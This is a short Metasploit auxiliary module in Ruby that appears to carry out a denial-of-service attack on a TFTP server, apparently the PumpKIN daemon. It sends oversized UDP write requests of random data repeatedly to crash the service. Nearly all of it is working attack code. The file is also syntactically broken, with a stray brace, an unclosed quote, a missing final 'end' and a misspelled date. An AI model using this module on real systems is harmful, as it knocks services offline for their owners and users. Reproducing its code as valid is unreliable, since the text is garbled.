require 'msf/core'

class Metasploit3 < Msf::Auxiliary

   include Msf::Exploit::Remote::Udp
   

   def initialize(info = {})
      super(update_info(info,   
         'Name'          => 'HellScream TFTP Server DoS',
         
         },
         'Author'        => ['HellScream],
         'License'        => MSF_LICENSE,
         'Version'        => '1',
         'DisclosureDate' => 'Noe 25 2008'))

      register_options([
         OptInt.new('MULTIPLE', [ false, 'How many times to send (more kills it faster)', 1 ])
      ])
   end

   def run
      
      print_status("Sending bad data...")
      
      crapfile=Rex::Text.rand_text_english(4,"\x00")
      crapdata=Rex::Text.rand_text_english(8000,"\x00")
      lamestring="\x00\x02"+crapfile+"\x00"+crapdata+"\x00"
      mul=datastore['MULTIPLE']
      0.upto(mul) do
         connect_udp
         udp_sock.put(lamestring)
         sleep 1
         disconnect_udp
      end

      print_status("PumpKIN TFTP daemon is choking...")

   end